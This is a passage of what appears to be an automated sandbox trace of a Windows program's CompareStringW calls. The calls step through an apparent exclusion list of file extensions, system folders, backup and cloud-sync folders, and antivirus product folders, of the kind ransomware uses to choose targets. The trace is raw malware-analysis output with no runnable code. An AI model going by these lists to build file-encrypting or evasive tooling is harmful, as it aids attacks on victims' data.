cchCount1=3, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BLF", cchCount1=3, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBS", cchCount1=3, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="REGTRANS-MS", cchCount1=11, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SETTINGCONTENT-MS", cchCount1=17, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEARCH-MS", cchCount1=9, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG", cchCount1=3, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XML", cchCount1=3, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG1", cchCount1=4, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG2", cchCount1=4, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="[NF_END]", cchCount1=8, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="[ND_START]", cchCount1=10, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\PERFLOGS\\", cchCount1=10, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWS\\", cchCount1=9, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWS.OLD\\", cchCount1=13, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWS10UPGRADE\\", cchCount1=18, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\$RECYCLE.BIN\\", cchCount1=14, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWS NT\\", cchCount1=12, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\COMMON FILES\\", cchCount1=14, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\TEMP\\", cchCount1=6, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\BOOT\\", cchCount1=6, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\MSOCACHE\\", cchCount1=10, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\DEFAULT USER\\", cchCount1=14, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\ACRONIS\\", cchCount1=14, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\ACRONIS\\", cchCount1=14, lpString2="[ND_END]", cchCount2=8) returned 1 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\BACKUPCLIENT\\", cchCount1=19, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\BACKUPCLIENT\\", cchCount1=19, lpString2="[ND_END]", cchCount2=8) returned 1 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\BACKUP MANAGER\\", cchCount1=21, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\BACKUP MANAGER\\", cchCount1=21, lpString2="[ND_END]", cchCount2=8) returned 1 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\CARBONITE\\", cchCount1=16, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\CARBONITE\\", cchCount1=16, lpString2="[ND_END]", cchCount2=8) returned 1 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\GOOGLE\\DRIVE\\", cchCount1=19, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\GOOGLE\\DRIVE\\", cchCount1=19, lpString2="[ND_END]", cchCount2=8) returned 1 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\DROPBOX\\", cchCount1=14, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\DROPBOX\\", cchCount1=14, lpString2="[ND_END]", cchCount2=8) returned 1 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\MICROSOFT ONEDRIVE\\", cchCount1=25, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\MICROSOFT ONEDRIVE\\", cchCount1=25, lpString2="[ND_END]", cchCount2=8) returned 1 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\ONEDRIVE\\", cchCount1=15, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\ONEDRIVE\\", cchCount1=15, lpString2="[ND_END]", cchCount2=8) returned 1 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VNC\\", cchCount1=4, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\INTERNET EXPLORER\\", cchCount1=19, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\MICROSOFT\\OFFICE\\", cchCount1=18, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\MICROSOFT OFFICE\\", cchCount1=18, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWS SIDEBAR\\", cchCount1=17, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWS MEDIA PLAYER\\", cchCount1=22, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\DVD MAKER\\", cchCount1=11, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWSPOWERSHELL\\", cchCount1=19, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWS DEFENDER\\", cchCount1=18, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\TOR BROWSER\\", cchCount1=13, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\ASPNET_CLIENT\\", cchCount1=15, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\REFERENCE ASSEMBLIES\\", cchCount1=22, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\MICROSOFT\\PROVISIONING\\", cchCount1=24, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\MICROSOFT SILVERLIGHT\\", cchCount1=23, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\PROGRAMDATA\\MICROSOFT\\", cchCount1=23, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\MICROSOFT\\CRYPTO\\", cchCount1=18, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWSAPPS\\", cchCount1=13, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\7-ZIP\\", cchCount1=7, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINRAR\\", cchCount1=8, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\ESET", cchCount1=5, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\AVAST", cchCount1=6, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\MALWAREBYTES", cchCount1=13, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\SYMANTEC ENDPOINT", cchCount1=18, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\TREND MICRO", cchCount1=12, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\BITDEFENDER", cchCount1=12, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\PANDA SECURITY", cchCount1=15, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\MCAFEE", cchCount1=7, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\KASPERSKY LAB", cchCount1=14, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\KASPERSKYLAB", cchCount1=13, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\AVDEFENDER", cchCount1=11, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\SOPHOS", cchCount1=7, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\AVG", cchCount1=4, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="[ND_END]", cchCount1=8, lpString2="[ND_END]", cchCount2=8) returned 2 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="[NF_START]", cchCount1=10, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BLF", cchCount1=3, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBS", cchCount1=3, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="REGTRANS-MS", cchCount1=11, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SETTINGCONTENT-MS", cchCount1=17, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEARCH-MS", cchCount1=9, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG", cchCount1=3, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XML", cchCount1=3, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG1", cchCount1=4, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG2", cchCount1=4, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="[NF_END]", cchCount1=8, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="[ND_START]", cchCount1=10, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\PERFLOGS\\", cchCount1=10, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWS\\", cchCount1=9, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWS.OLD\\", cchCount1=13, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWS10UPGRADE\\", cchCount1=18, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\$RECYCLE.BIN\\", cchCount1=14, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWS NT\\", cchCount1=12, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\COMMON FILES\\", cchCount1=14, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\TEMP\\", cchCount1=6, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\BOOT\\", cchCount1=6, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\MSOCACHE\\", cchCount1=10, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\DEFAULT USER\\", cchCount1=14, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\ACRONIS\\", cchCount1=14, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\ACRONIS\\", cchCount1=14, lpString2="[FEX_START]", cchCount2=11) returned 1 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\BACKUPCLIENT\\", cchCount1=19, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\BACKUPCLIENT\\", cchCount1=19, lpString2="[FEX_START]", cchCount2=11) returned 1 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\BACKUP MANAGER\\", cchCount1=21, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\BACKUP MANAGER\\", cchCount1=21, lpString2="[FEX_START]", cchCount2=11) returned 1 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\CARBONITE\\", cchCount1=16, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\CARBONITE\\", cchCount1=16, lpString2="[FEX_START]", cchCount2=11) returned 1 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\GOOGLE\\DRIVE\\", cchCount1=19, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\GOOGLE\\DRIVE\\", cchCount1=19, lpString2="[FEX_START]", cchCount2=11) returned 1 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\DROPBOX\\", cchCount1=14, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\DROPBOX\\", cchCount1=14, lpString2="[FEX_START]", cchCount2=11) returned 1 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\MICROSOFT ONEDRIVE\\", cchCount1=25, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\MICROSOFT ONEDRIVE\\", cchCount1=25, lpString2="[FEX_START]", cchCount2=11) returned 1 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\ONEDRIVE\\", cchCount1=15, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\ONEDRIVE\\", cchCount1=15, lpString2="[FEX_START]", cchCount2=11) returned 1 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VNC\\", cchCount1=4, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\INTERNET EXPLORER\\", cchCount1=19, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\MICROSOFT\\OFFICE\\", cchCount1=18, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\MICROSOFT OFFICE\\", cchCount1=18, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWS SIDEBAR\\", cchCount1=17, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWS MEDIA PLAYER\\", cchCount1=22, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\DVD MAKER\\", cchCount1=11, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWSPOWERSHELL\\", cchCount1=19, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWS DEFENDER\\", cchCount1=18, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\TOR BROWSER\\", cchCount1=13, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\ASPNET_CLIENT\\", cchCount1=15, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\REFERENCE ASSEMBLIES\\", cchCount1=22, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\MICROSOFT\\PROVISIONING\\", cchCount1=24, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\MICROSOFT SILVERLIGHT\\", cchCount1=23, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\PROGRAMDATA\\MICROSOFT\\", cchCount1=23, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\MICROSOFT\\CRYPTO\\", cchCount1=18, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWSAPPS\\", cchCount1=13, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\7-ZIP\\", cchCount1=7, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINRAR\\", cchCount1=8, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\ESET", cchCount1=5, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\AVAST", cchCount1=6, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\MALWAREBYTES", cchCount1=13, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\SYMANTEC ENDPOINT", cchCount1=18, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\TREND MICRO", cchCount1=12, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\BITDEFENDER", cchCount1=12, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\PANDA SECURITY", cchCount1=15, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\MCAFEE", cchCount1=7, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\KASPERSKY LAB", cchCount1=14, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\KASPERSKYLAB", cchCount1=13, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\AVDEFENDER", cchCount1=11, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\SOPHOS", cchCount1=7, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\AVG", cchCount1=4, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="[ND_END]", cchCount1=8, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="[FEX_START]", cchCount1=11, lpString2="[FEX_START]", cchCount2=11) returned 2 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="[NF_START]", cchCount1=10, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BLF", cchCount1=3, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBS", cchCount1=3, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="REGTRANS-MS", cchCount1=11, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SETTINGCONTENT-MS", cchCount1=17, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEARCH-MS", cchCount1=9, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG", cchCount1=3, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XML", cchCount1=3, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG1", cchCount1=4, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG2", cchCount1=4, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, 